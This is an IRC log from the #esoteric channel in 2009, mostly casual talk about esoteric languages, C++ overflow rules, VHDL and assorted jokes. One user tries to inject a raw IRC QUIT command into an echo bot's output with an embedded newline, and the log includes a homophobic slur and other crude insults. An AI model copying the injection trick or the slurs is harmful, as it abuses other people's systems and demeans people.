Patashu2 ."). 11:43:45 -!- Corun has quit ("Leaving..."). 11:43:48 -!- ais523 has joined. 11:55:31 -!- psygnisfive has quit (Read error: 110 (Connection timed out)). 12:14:05 -!- amca has quit ("Farewell"). 12:30:49 ! 12:32:35 ? 12:34:00 ‽ 12:34:56 -!- Corun has joined. 12:37:18 !@ 12:38:11 !swedish Gravity was invented by Safalra (Stephen Morley) on 4th August 2005, based on a idea from Isaac Newton. Gravity is very different from any other existing programming language. Although its behavior is well-defined and deterministic, the evolution of its space is in general non-computable, due to the nature of the differential equations that govern it. 12:38:12 Grefeety ves infented by Seffelra (Stephee Murley) oon 4t Oogoost 2005, besed oon a idea frum Iseec Nootun. Grefeety is fery deefffferent frum uny oozeer ixeesting prugremmeeng lungooege-a. Elthuoogh its behefeeur is vell-deffeened und determeenistic, zee ifulooshun ooff its spece-a is in generel nun-cumpooteble-a, dooe-a tu zee netoore-a ooff zee deefffferentiel iqooeshuns thet gufern it. Bork Bork Bork! 12:38:19 :D 12:39:24 Iseec Nooton 12:41:03 ?|=c'1+=c'1-`+"4:#Mm+c"4#Mm1 {VS} ?=c'1+:#Mm+#Mm1?=c'1-:#Mm-#Mm1 12:41:04 ? 12:41:13 !swedish f 12:41:14 f 12:41:18 !swedish ff 12:41:19 fff 12:41:22 !swedish fff 12:41:23 fffff 12:41:26 !swedish fffff 12:41:27 fffffffff 12:41:30 fffffffffffffffffffffffff 12:41:43 !swedish Bork Bork Bork 12:41:43 Burk Bork Bork 12:41:48 fail 12:49:20 !swedish burqah 12:49:21 boorqeh 12:52:49 !swedish hello world 12:52:49 hellu vurld 12:53:29 !swedist 99 bottles of beer on the wall, 99 bottles of beer! You take one down and pass it around, 98 bottles of beer on the wall! 12:53:36 !swedish 99 bottles of beer on the wall, 99 bottles of beer! You take one down and pass it around, 98 bottles of beer on the wall! 12:53:37 99 buttles ooff beer oon zee vell, 99 buttles ooff beer! Yuoo teke-a oone-a doon und pess it eruoond, 98 buttles ooff beer oon zee vell! Bork Bork Bork! 12:54:00 BORK BORK BORK 13:05:19 -!- sebbu2 has joined. 13:08:06 Is unsigned integer underflow well-defined in C++? 13:08:15 yes, it wraps 13:08:34 signed underflow/overflow is undefined, though 13:08:38 Yes, I'd expect it to do that anywhere, but it's in the standard? 13:08:39 Alright 13:08:41 Cheers 13:20:38 If you want the exact wording, C99 6.2.5 Types: "A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo [what you'd expect]". 13:21:09 -!- sebbu has quit (Read error: 110 (Connection timed out)). 13:21:09 -!- sebbu2 has changed nick to sebbu. 13:24:08 fizzie: C++, not C99. Though I don't need the exact wording anyway. 13:24:15 Oh, misread. 13:26:20 Also, as far as I can determine, the standard uses the word "overflow" (occasionally as "positive overflow" or "negative overflow") for any got-out-of-range activities, and "underflow" is reserved for the floating-point "the magnitude of the mathematical result is so small that the mathematical result cannot be represented, without extraordinary roundoff error, in an object of the specied type" case. 13:53:02 -!- Corun has quit ("Leaving..."). 13:57:57 -!- nooga has quit (Read error: 60 (Operation timed out)). 14:00:40 -!- MigoMipo has joined. 14:08:45 -!- nooga has joined. 14:14:17 -!- lereah_ has quit (Remote closed the connection). 14:16:25 -!- psygnisfive has joined. 14:17:01 -!- Judofyr has quit (Remote closed the connection). 14:19:40 -!- nooga has quit ("Leaving..."). 14:28:28 -!- Corun has joined. 14:52:49 -!- MigoMipo has quit (Read error: 54 (Connection reset by peer)). 14:53:26 -!- whtspc has joined. 14:53:52 hi 14:54:01 hi 14:54:23 I only come here when I have a question 14:54:39 it's about boolean algebra 14:54:40 fair enough, although it's fun to listen in on the conversation as well 14:54:51 what is the question? 14:55:20 I understand there is a notation for boolean algebra 14:55:52 yes 14:55:57 but I don't know if you can put a whole circuit diagram in a line of text 14:55:58 more than one, in fact 14:55:59 ? 14:56:09 and you can, but it wouldn't be easy to read 14:56:26 it would be much like programming in an esolang 14:56:47 maybe 14:56:50 or in an ordinary language 14:56:58 VHDL, for instance, can express circuit diagrams pretty well 14:57:05 it was one of the things it was designed for 14:57:10 but then, VHDL's almost an esolang as it is 14:57:29 -!- Corun has quit ("Leaving..."). 14:57:54 that's interesting 14:58:27 is an electronic circuit a program? 14:58:37 sort-of 14:58:42 VHDL's designed to be compiled into hardware 14:59:11 or is the lack of recursion important 14:59:35 VHDL bans recursion, simply because it has to be sub-TC to be able to compile into hardware 14:59:43 it doesn't even have loops in the synthesizable subsets 14:59:49 well, it has for-generate, but that's always unrolled 15:02:28 I will read into VHDL, I think it will clear things up 15:03:02 or muddy them, depending on your point of view 15:03:35 Yeah, but maybe I'm not quite sure what I'm looking for :) 15:04:11 -!- BeholdMyGlory has joined. 15:05:19 I would like to setup circuit diagrams, in one string of characters 15:06:07 I'm looking for the best way to lose the 2 dimensions that are usually used to display circuits 15:06:30 you might want to look into Verilog rather than VHDL; nowadays they're the same language as they stole all of each other's features, but with different syntax 15:06:33 1 of the 2 dimensions I mean 15:06:43 in VHDL you have to declare everything, in Verilog lots of stuff are implicit 15:06:47 so I imagine it's better for one-liners 15:07:44 I see it's better readable for someone like me too 15:08:04 thank you for your feedback 15:10:19 -!- oerjan has joined. 15:21:30 Are all uncomputable problems somehow transformable into the Halting Problem? 15:21:49 no, just one "level" of uncomputability 15:21:58 yep, there's more than one uncomputable computational class 15:22:03 see Banana Scheme and Brainhype 15:22:09 just it's rare to bother with the distinctions, because we can't implement any of them anyway 15:22:57 for "any" class you can generate a larger class by using the halting problem for _that_ class 15:24:23 because the proof of the halting problem's unsolvability doesn't depend on your fundamental operations, only on a minimal amount of ways to combine them - so adding more fundamental operations doesn't help getting the process to stop 15:24:51 so you can keep adding new halting problem deciders for the previous level, ad nauseam 15:33:51 -!- BeholdMyGlory has quit (Remote closed the connection). 15:43:18 -!- whtspc has quit ("ChatZilla 0.9.84 [Firefox 3.0.10/2009042316]"). 15:45:09 Hahaha http://torrentfreak.com/pirate-bay-nemesis-has-name-changed-by-pranksters-090607/ 15:57:45 -!- pikhq_ has joined. 16:08:02 !swedish gurkar i små burkar 16:08:03 goorker i små boorker 16:09:43 !swedish gurkar som torkar i små burkar 16:09:44 goorker sum turker i små boorker 16:11:03 -!- pikhq has quit (Read error: 110 (Connection timed out)). 16:11:18 -!- pikhq_ has changed nick to pikhq. 16:12:15 !swedish gurkar som torkar i små burkar med bark 16:12:15 goorker sum turker i små boorker med berk 16:12:33 it just won't take a hint! 16:12:42 !swedish Bork bork bork! 16:12:42 Burk bork bork! Bork Bork Bork! 16:12:59 !swedish Burk bork bork! Bork Bork Bork! 16:13:00 Boork bork bork! Bork Bork Bork! Bork Bork Bork! 16:14:44 oh right... 16:15:03 !swedish Vi torkar gurkar i små burkar med bark. 16:15:04 Fee turker goorker i små boorker med berk. Bork Bork Bork! 16:15:30 !swedish stupid punctuation! 16:15:30 stoopeed poonctooeshun! Bork Bork Bork! 16:17:32 !swedish . . . 16:17:33 . . . Bork Bork Bork! 16:17:39 Aaaw. 16:17:40 !swedish what about commas, i wonder 16:17:41 vhet ebuoot cummes, i vunder 16:18:32 !swedish Bork? Bork? Bork? ¿Bork‽ 16:18:32 Burk? Bork? Bork? ¿Bork‽ 16:18:51 -!- inurinternet has quit (Connection timed out). 16:43:53 -!- oerjan has quit ("leaving"). 17:33:30 -!- KingOfKarlsruhe has joined. 17:33:52 -!- GregorR-L has joined. 17:50:56 -!- Hiato has joined. 18:05:25 -!- Hiato has quit ("Leaving."). 18:12:19 -!- GregorR-L_ has joined. 18:14:03 -!- GregorR-L has quit (Read error: 104 (Connection reset by peer)). 18:32:13 -!- kar8nga has joined. 18:48:00 -!- jix has joined. 18:49:39 -!- jix_ has quit (Read error: 60 (Operation timed out)). 18:59:43 -!- Hiato has joined. 19:08:21 -!- olsner has joined. 19:23:17 -!- kar8nga has quit (Remote closed the connection). 19:25:05 FireFly: if you are still interested, this is my implementation of Migol 09 in C: http://hg.mearie.org/esotope/migol/ 19:25:17 I'll take a look 19:26:17 -!- MigoMipo has joined. 19:30:07 That's impressive, I believe it's the biggest effort done with Migol so far? 19:31:59 maybe i can now start bigger project with it. XD 19:32:10 projects* 19:34:06 MigoMipo: http://hg.mearie.org/esotope/migol/ Migol interpreter in C. 19:34:30 lifthrasiir: I know, really impressive! 19:34:36 -!- BeholdMyGlory has joined. 19:34:38 -!- impomatic has joined. 19:34:45 I wrote my interpreter using nothing but the standard Regular Expression classes in Java. It is a bit slow. 19:34:53 hmm, were you notified by FireFly? :p 19:35:19 Perhaps? :P 19:47:11 Hm.. It isn't telling you which row/statement is errorneous, if it errors while parsing the code? 19:48:05 FireFly: for now, right. maybe implemented someday. :p 19:48:11 will be implemented* 19:48:55 I guess I'll just binary sort through my code then 19:49:44 FireFly: if you really want, change if (0) to if (1) in migol-parse.c. 19:50:00 it should print out internal compiled code. 19:50:01 Ah, right, I forgot it was open source ._. 19:50:30 -!- GregorR-L_ has changed nick to GregorR-L. 19:51:13 anyway printing verbose report requires some changes, which is not done for simpler initial code. 19:54:46 -!- tetha has quit (Read error: 60 (Operation timed out)). 19:56:58 -!- tetha has joined. 19:58:01 -!- impomatic has left (?). 20:06:57 Ah.. It raised an error on 'ö> 20:07:01 Should've guessed :P 20:26:43 -!- Hiato has quit ("Leaving."). 20:27:34 -!- Corun has joined. 20:29:35 -!- Corun has quit (Client Quit). 20:34:25 -!- pikhq has quit (Read error: 54 (Connection reset by peer)). 20:58:57 -!- Gracenotes has joined. 21:14:17 -!- tombom_ has joined. 21:15:10 -!- tombom_ has quit (Client Quit). 21:18:40 -!- Corun has joined. 21:30:15 -!- tombom has quit (Read error: 110 (Connection timed out)). 21:41:04 -!- ehird has left (?). 21:41:04 -!- ehird has joined. 21:43:23 22:19:58 ehird: it appears that you searched reddit for comments mentioning Nomic. 21:43:27 This is false. 21:43:30 What gave you that idea? 21:43:37 23:49:52 Funny, when I make font sizes huge they look ginormous on my 16" monitor, but tiny on my .5" :P 21:43:41 Set your dpi right, foo :P 21:43:49 ehird: did you then search reddit for nomic comments upon warrie giving you the idea? 21:43:57 No. 21:44:25 http://www.reddit.com/user/ehird/ 21:44:28 I only see one nomic c omment 21:44:39 ehird: No DPI on "I'm outputting to fucking composite" display :P 21:44:50 GregorR-L: Fontconfig dpi, you weetard. 21:45:05 It makes things Work(TM). 21:45:12 Whoah, srsly? 21:45:14 Yes. 21:45:26 Gnome has a nice settings panel to set it; no fuckin' clue how you set it in the config files. 21:45:34 Poke around fontconfig stuff and do the dpkg-reconfigure then :P 21:45:35 *thing 21:45:36 I have no Gnome on my Beagle :P 21:45:41 GregorR-L: Thus what I said 21:46:10 02:07:04 Evidently P != NP http://arxiv.org/abs/0906.1084 21:46:11 ;_; 21:46:17 :P 21:46:30 arxiv should rename to quaxiv 21:46:52 why? 21:47:02 * GregorR-L prepares to snag some delicious nick somebody forgot about :P 21:47:11 ais523: because half of the stuff on there is deliciously quacky 21:47:16 (due to being free-for-all) 21:47:21 GregorR-L: what about "estoppel"? 21:47:36 also, the paper does superficially look plausible 21:47:39 ooh, I forgot about that nick 21:47:42 -!- ehird has changed nick to estoppel. 21:47:58 but of course that probably means it's just good at being plausibly fakse 21:47:59 *false 21:48:09 02:21:35 bouncing billard balls off each other and stuff 21:48:12 billiard-ball machine 21:48:13 :p 21:48:18 hurp hurp 21:48:40 02:45:47 http://3.bp.blogspot.com/_U-4kIJCjlwU/SYqA1a91R8I/AAAAAAAAA14/h-6Ye2i5pqM/s320/teacup+duck+2.JPG 21:48:41 02:45:49 Two ducks 21:48:42 one cup 21:50:17 06:55:57 but I don't know if you can put a whole circuit diagram in a line of text 21:50:20 p&~q 21:50:20 :P 21:50:35 06:59:35 VHDL bans recursion, simply because it has to be sub-TC to be able to compile into hardware 21:50:45 VHDL's result is TC w/ infinite memory, right? 21:50:57 (say, it's hooked up to an infinite memory store) 21:51:22 07:45:09 Hahaha http://torrentfreak.com/pirate-bay-nemesis-has-name-changed-by-pranksters-090607/ 21:51:29 funny, but... it was a day before the elections 21:51:46 the conspiracist in me says "they were trying to discredit piratpartiet" 21:52:09 ehirdstoppel: Holy fekking wow! That just works! 21:52:47 estoppel: VHDL doesn't have syntax for accessing an infinite memory store 21:52:56 GregorR-L: Whut? 21:52:59 it's really really hard to link VHDL up to unbounded memory, by design 21:53:03 estoppel: The DPI settings. 21:53:06 GregorR-L: Yes. 21:53:07 although you might be able to do it via debug input/output 21:53:10 GregorR-L: Yes, they do work. 21:53:21 Something I'd never heard of. And it just fekking works. That's going to help my wearable a LOT 21:53:37 You may thank me in the form of rare IRC nickname registrations. 21:53:41 ...or, y'know, not 21:53:46 That is also an option. 21:53:55 GregorR-L: what res is that .5" display 21:53:56 ? 21:54:04 -!- oerjan has joined. 21:54:45 GregorR-L: i assume decent, as a wearable computer that's blocky is useless 21:54:48 GregorR-L: btw can it work as a visor? 21:54:49 as in 21:54:56 you have it covering your vision and it relays a camera 21:55:03 (would have to be a fast-taking and high-res camera) 21:55:08 then you could like, overlay HUDs and shit on it 21:55:14 would be kick-ass 21:55:56 -!- pikhq has joined. 21:56:22 * oerjan thinks a visor with, say 0.5 s delay could lead to some hilarious situations 21:56:36 * GregorR-L reappears. 21:56:43 estoppel: 640x480 21:56:52 GregorR-L: that's kind of lame 21:57:00 everything will be blocky and pixelated 21:57:02 in half an inch? 21:57:08 that's, what, about 1000 dpi 21:57:12 ais523: half an inch right next to your eye 21:57:14 it's wearable computing 21:57:23 640x480 is apparently more than enough for VR goggles 21:57:24 1600dpi, though 21:57:27 estoppel: You need to lighten up, we're in 2009, not 2209. 21:57:35 ais523: that's some crappy vr 21:57:35 because you can move your head in order to simulate a bigger display 21:57:40 :P 21:57:47 GregorR-L: yeah 21:57:51 GregorR-L: is your display oled? 21:57:53 it should be oled. 21:58:00 as in, showing just 640x480 at a time, combined with head/eye movements, gives you tens of thousands of pixels in each direction 21:58:14 ais523: yes, but if you just stand there, everything will be very unrealistically blocky 21:58:15 apparently 640x480 VR goggles are good for programming with 21:58:16 estoppel: I honestly don't know, I dissected it from a Myvu Crystal. 21:58:41 GregorR-L: you got this a while ago right? 21:58:43 probably not oled then 21:58:49 I don't know of any 1600dpi OLED display 21:58:49 s 21:58:53 If by a while you mean a few months, then yes. 21:59:34 mathematica is fun 21:59:50 SO IS YOUR FACE. No wait, that came out wrong. 22:00:11 I AGREE 22:00:36 * pikhq is in the middle of a severe thunderstorm. \o/? 22:00:56 myndzi: Hey, he said \o/ 22:00:56 | 22:00:56 /< 22:01:08 \o/ 22:01:08 | 22:01:08 /< 22:01:10 * estoppel /quit myndzi 22:01:10 * myndzi /quit estoppel 22:01:25 * estoppel \nQUIT :fuck 22:01:28 * estoppel \nQUIT :fuck myndzi 22:01:28 * myndzi \nQUIT :fuck estoppel 22:01:41 lawl 22:02:32 * pikhq 22:02:52 * estoppel myndzi: you suck dicks 22:02:52 * myndzi estoppel: you suck dicks 22:02:56 FUCK. 22:03:14 Looks like I'm committed now. 22:03:27 * ais523 myndzi ais523 myndzi estoppel 22:03:27 * myndzi ais523 myndzi ais523 estoppel 22:03:36 seems to be straightforward substitution 22:03:42 * estoppel myndzi \o/ 22:03:42 * myndzi estoppel \o/ 22:03:45 Aw. 22:03:46 and it produces pretty patterns 22:03:50 I was hoping for a TWO-PRONGED ATTACK. 22:03:55 Dun dun DUN 22:03:58 * ais523 myndzimyndzi 22:04:01 -!- BeholdMyGlory has quit (Remote closed the connection). 22:04:05 ok, that dosen't trigger it 22:04:50 ais523: "Solve::svars: Equations may not give solutions for all "solve" variables. >>" 22:04:53 why does it taunt me so? 22:05:09 Because it hates you. 22:06:29 -!- pikhq_ has joined. 22:06:40 -!- pikhq has quit (Nick collision from services.). 22:06:49 -!- pikhq_ has changed nick to pikhq. 22:07:03 ais523: news! news! PHP have added the flexible control structure goto! 22:07:08 (No; really.) 22:07:15 how good a goto is it? 22:07:20 C-good? Perl-good? asm-good? 22:07:21 Very regular! 22:07:25 It's Cs. 22:07:30 Now, the question is... 22:07:32 err, wow 22:07:36 WHO THE FUCK *ADDS* GOTO AS AN EXPERIMENTAL FEATURE TO A LANGUAGE‽‽‽‽‽ 22:07:41 In other news, C++ has lambda. 22:07:43 a high-level language doesn't need C-style gotos 22:07:44 AN *ESTABLISHED* LANGUAGE. 22:07:48 pikhq: Old. 22:07:51 Perl-style, maybe 22:07:52 Not news. Olds. 22:07:55 asm-style, yes if you're mad 22:07:56 but C-style? 22:08:06 estoppel: Yes. 22:08:32 But the thing is, it's another language becoming a mess for features that don't make much sense. 22:08:33 LOL@ guy in agora accusing xkcd of not understanding the Game's rules. 22:08:39 pikhq: It already was that. 22:08:46 estoppel: the #esoteric game takes precedence, doesn't it? 22:08:51 ... Right. *More* of a mess. 22:08:59 estoppel: PHP is trying to catch up with Perl in terriblocity. 22:09:14 Though at least C++ is doing its feature-adding vaguely sanely. 22:09:17 ais523: either the game never worked, or Not the Game blocks it, OR the "games can affect their playstate without you playing them" *only* applies to the Game, which is ridiculous 22:09:27 Adding features that increase code expressiveness. 22:09:30 so in 2/3 possibilities— and the most likely ones— the Game is neutralized if you want it to be. 22:09:32 pikhq: C++ just suffers from too much feature-adding, not enough (namely 0) feature-removing ;) 22:09:40 ... But come on. C-style gotos? 22:09:54 pikhq: BTW. The anti-sec guys? Yeah; they've done it again. 22:10:03 http://pastebin.com/m592e1f1c 22:10:11 hehe, when will php get longjumps? 22:10:22 i love setjmp/longjmp 22:10:28 they're the retarded cousin of continuations 22:10:36 that want so much to be like him! 22:10:59 pikhq: Oh, and it's another remote-login 'sploit. 22:11:04 estoppel: They're very C, though. 22:11:08 *Another*? 22:11:11 pikhq: Also, a 'sploit to escape from a jailed shell. 22:11:17 And then they go and grab themselves root. 22:13:28 apparently, some shared hosting people were hacked into recently via a hypervisor exploit via a SQL injection 22:13:44 I can't really imagine quite what sort of setup you'd have to have for that to even be possible 22:13:59 ais523: can't some sql servers execute commands? 22:14:10 ah, that could be it 22:14:11 ais523: i guess really shitty mysql permissions let them do that 22:14:14 you'd expect the perms to lock that down 22:14:17 er 22:14:19 not neccessarily mysql 22:14:27 on MySQL, you'd have to go to a lot of effort to open up the perms that much 22:14:29 ais523: could be a bug in the server; could just be a retardedness. 22:14:34 also, really? 22:14:37 just log in as root on the mysql server 22:14:42 it's a hypervisor; so virtualization 22:14:47 they're locked-down by default, IIRC 22:14:48 so I guess you're given root-y stuff 22:14:53 so maybe the website owner's stupid 22:15:00 yes, stupid website owner was my guess too 22:15:46 -!- estoppel has set topic: I'm pretty sure beavers can't communicate in English via email. | http://tunes.org/~nef/logs/esoteric/. 22:15:47 Jailbreaking. "Goody". 22:15:59 -!- estoppel has set topic: I'm pretty sure beavers can't communicate in English via email. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D. 22:17:20 unimaginable binary sort anti algorithms 22:21:54 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 22:26:14 -!- MigoMipo has quit ("QuitIRCServerException: MigoMipo disconnected from IRC Server"). 22:29:06 -!- olsner has quit ("Leaving"). 22:30:03 eek he left 22:30:53 who 22:31:45 MigoMipo 22:31:53 although it seems i really want lifthrasiir 22:32:19 the esotope site was down, so i thought the link MigoMipo put on the wiki was wrong 22:32:27 but it agrees with User:Tokigun 22:32:28 esotope is up now :P 22:32:36 hm no 22:32:38 it just went down 22:32:39 how queer. 22:37:49 -!- pikhq has joined. 22:40:37 Contrarian: Brian D. Foy. Brian D. Foy. 22:42:16 So, what'd I miss? 22:42:40 YOU'LL NEVER KNOW 22:42:57 although mainly that the esotope site is down 22:43:04 Only that. 22:43:06 Also two quits. 22:43:31 Since 16:17? 22:44:58 ... 22:45:04 since 22:21, when you last quit. 22:45:04 -!- oerjan has set topic: Till att torka gurkarna använder vi en så her björkbarkburk | logs: http://tunes.org/~nef/logs/esoteric/. 22:45:06 To 22:37. 22:45:16 Use real time, bitch. 22:45:32 * oerjan knows not if he got that right, but he tried 22:45:58 estoppel, I lost my connection at xx:17. 22:46:23 Sorry, 21:17. 22:46:23 -!- estoppel has set topic: Til at torquer good karma AnMaster vi and the her Bjork bark burk. | http://tunes.org/~nef/logs/esoteric/. 22:46:28 -!- coppro has joined. 22:46:47 Or, if you demand specificness: 21:17Z. 22:47:19 estoppel: that's not particularly funny. i tried using _real_ swedish. 22:47:37 * oerjan suspects "så" should be "sådan". 22:47:58 except björkbarkburk is probably only a theoretical word 22:48:36 -!- inurinternet has joined. 22:50:39 * coppro loves that he can log into SF with an SF url 22:50:52 y'mean via openid? 22:51:12 yeah 22:51:39 doing so is silly, though; unless you want to use your SF login for everything 22:51:45 which is a weird thing to want to do 22:51:56 I have a throwaway idbin.ca account 22:51:58 Why is that a weird thing? 22:52:04 but I've never got it to work 22:52:18 s/"så"/"så her"/ 22:52:31 coppro: because SF are unreliable and crappy, and centralizing your online identity around a service that doesn't even have it as a major concern is bad 22:53:10 Compared to the other various forwards I have, that one's the easiest to type, though 22:54:03 coppro: ah, you have it forwarded to another openid? 22:54:08 that's ok then, since it's just used as a shortcut 22:54:55 I don't think they provide OpenIDs 22:55:05 though I could easily be wrong 22:55:15 Well, they shouldn't 22:55:29 ofc, openid is unlikely to be adopted because of Facebook Connect's (relative) dominance 22:55:32 bloody fb 22:55:36 I use Launchpad as my actual provider since they were the first place at which I had an account to provide it 22:55:53 ew 22:55:56 that's just as bad :) 22:56:06 * coppro shrugs 22:56:22 never had any issues whatsoever 22:57:38 * estoppel tried the google chrome for os x prepreprepreprealpha 22:57:44 it's a lot better than the recent dev builds 22:57:48 so far at least 23:00:32 oh dear, a commenter on Slashdot just invented browsers as webapps 23:00:43 ais523: ... 23:00:45 Do link. 23:00:48 on the basis that you shouldn't need to download Firefox, it should just work 23:00:52 I think he was being sarcastic though 23:01:10 here's the thread: http://tech.slashdot.org/comments.pl?sid=1262739&cid=28271783 23:01:15 pretty short atm though 23:01:29 * ais523 starts to wonder if that might be a good idea 23:01:35 heh 23:01:36 an IE webapp, for instance, to test rendering in IE 23:01:43 whilst from a non-Windows computer 23:01:46 "Absolutely. Firefox should have been implemented as an activeX plugin. 23:01:46 No, wait. DHTML and javascript. And written to only run in IE6." 23:01:48 *BOOOOOOOOOM* 23:01:50 ais523: been done 23:01:53 for N browsers 23:01:56 -!- GregorR-L has quit (Read error: 110 (Connection timed out)). 23:01:57 just takes a screenshot, though 23:02:03 browsershots? 23:02:05 yeah 23:02:06 ais523: also: java vnc on cluster of vms 23:02:07 that doesn't count, it's server-side 23:02:11 could let you interact 23:02:16 clearly the solution is: JSMIPS! 23:02:26 ais523: that's cheating, that's always the solution 23:02:38 Clearly the solution is: BFJS! 23:02:38 "global warming" "JSMIPS!" 23:02:52 And then JSBF! 23:03:03 (thereby abstracting away the JAvascript engine!) 23:03:04 jsbfjs 23:03:10 Jusbufjus. 23:03:15 Jubujus. 23:03:20 Jubus. 23:03:22 Jebus 23:03:23 Jesus 23:03:26 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 23:03:42 So you have JSBFJSMIPSXUL 23:03:43 -!- ais523 has quit (Remote closed the connection). 23:03:52 There is no data. 23:03:58 There is only XUL. 23:04:04 XULHU 23:04:05 :) 23:07:24 http://www.archub.org/rewrite-login ← proof that paul graham cannot write good code 23:08:14 I thought it had been pretty well estabilished that he only does essays and venture capitalism well. :P 23:08:33 pikhq: sorry, nope 23:08:37 his essays are shit :) 23:08:40 most of 'em, anyawy 23:08:41 *anyway 23:08:52 and YC is just a "Give me money for I have no business model" setup :) 23:09:18 See, venture capitalism. 23:09:26 well, yeh 23:09:36 it's kind of like saying you're good at going to the toilet. 23:09:44 And his essays aren't shit. They're interesting, thought-provoking, and usually horribly wrong. 23:09:55 requirements for doing vc well: (a) have a bunch of money. (b) have an urge to waste it all 23:10:00 pikhq: :-D 23:10:04 A shitty essay fails to be interesting and thought-provoking. ;) 23:10:10 pikhq: but dude... he MADE VIAWEB. 23:10:15 How can he be WRONG? Yahoo BOUGHT IT. 23:10:16 For MONEY. 23:10:24 IT HAD LISP. 23:10:28 AND WEB AND CAPITALISM 2.0 23:10:42 It worked because lisp introspected the lispness and the parentheses printed money. 23:10:46 Dur. 23:11:07 -!- KingOfKarlsruhe has quit (Remote closed the connection). 23:11:56 Oh, right. 23:12:09 * pikhq looks at his Lisp 23:12:16 pikhq: You don't appear to have one. 23:12:21 ...dammit, that has no th'th. 23:12:26 Yeth, "th'th". 23:12:31 *hath 23:12:35 Lithp = Ye olde. 23:12:47 ... That is some horrible, horrible Lisp. 23:13:05 (cadr (conth 1 (conth 2 nil))) 23:13:17 ("Eval. Apply! Car. Cudder.") 23:13:17 -!- FireFly has quit ("Later"). 23:13:35 (We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells We conjure the spirits of the computer with our spells ETC) 23:14:16 MY GOD MAN, COMMENT IT! 23:14:30 (rewrite-login is hurl) 23:14:45 Oh "his" = pg 23:14:48 I totally forgot about that haha 23:15:30 (AAAAAAAAAAAAAOOOOOOOOOOOOOAOAOAOAAAAAAAAAAAAAAAA) 23:16:09 Yuh. 23:16:10 Ah, The Sussman. Bach is delighted to collaborate with you; his only sadness is that it had to be post-humous. 23:16:28 estoppel: My God, you'd think Paul Graham had never heard of metaprogramming. 23:16:34 pikhq: LAWL 23:16:55 pikhq: CAN YOU GIVE AN EXAMPLE OF HOW METAPROGRAMMING CAN MAKE PROGRAMS SHORTERUI!"!?!?!!:{!{329874956 23:17:03 (literally the only thing he says to opponents) 23:17:32 It looks a lot like my original code for PEBBLE. 23:17:34 (For those who have not achieved Satori, http://dqn.dqn.lol.googlepages.com/GJS_Jay_Sussman_Feat._JSB_Sebastian_.mp3) 23:17:38 Needless to say, I threw that shit away. 23:17:42 (Having a monologue and a conversation at once is difficult) 23:17:56 pikhq: i like how his refactoring is _harder_ to understand 23:17:59 BUT SHORTER!!!!!!1111 23:18:07 arc will never beat j for short :-) 23:18:10 It grew longer after the rewrite, but that's because I added a lot to it at the time. 23:18:42 metaprogramming am good 23:18:43 estoppel: one must listen to the extended ``satori'' mix too 23:18:53 eexxtteennddeedd 23:19:06 Asztal: But lo, is there not such a thing as ``[spoiler]Too Much of a Good Thing[/spoiler]''? 23:19:17 s/$/[1]/ 23:19:18 References 23:19:25 ---------- 23:19:28 [1] No. 23:19:38 ¹ 23:19:56 Asztal: Next you'll be telling me to use “ and ” instead of ``faggot quotes''. 23:20:14 No, I'm a fan of ``proper quotes''. 23:20:37 Asztal: ``Faggot quotes'', `proper quotes'. 23:20:44 Source: http://dis.4chan.org/read/prog/1196688306/6 23:21:08 I also enjoy abusing ‘ as an apostrophe, but nobody‘s annoyed about that one, as far as I can see. 23:23:28 * estoppel writes some ``J Software'' code. 23:23:45 I note that the non-/prog/dolytes in the audience are probably terribly confused. 23:25:48 I think you mean /prog/lodytes 23:26:44 * coppro doesn't even use 4chan 23:26:52 coppro: *world4ch 23:26:57 whatever 23:27:57 Programming in ``J Software'' sure would be more productive if I didn't have to bring up the reference every time I want an operation. 23:30:46 -!- pikhq_ has joined. 23:32:06 -!- pikhq has quit (Nick collision from services.). 23:35:16 * estoppel attempts to find J's "nest until meets condition" function 23:36:27 -!- pikhq_ has changed nick to pikhq. 23:40:55 to find the nest, you also have to find the easter egg 23:45:30 "HyperVM boss hangs himself after exploit destroys 100,000 websites" 23:45:31 " 23:45:35 s/^"$// 23:45:52 "A zero-day hacker today has the death of one man and one hundred thousand websites on his or her conscience. " 23:45:54 DUN DUN DUN 23:45:56 UNFOUNDED ASSERTIONS 23:45:58 DON'T YOU FEEL BAD 23:46:31 the (reddit) comments imply it was rather dubious that was the real cause 23:48:03 well the hundred thousand websites part may be correct 23:54:44 Wowzers :P 23:58:18 -!- inurinternet has quit (Read error: 60 (Operation timed out)).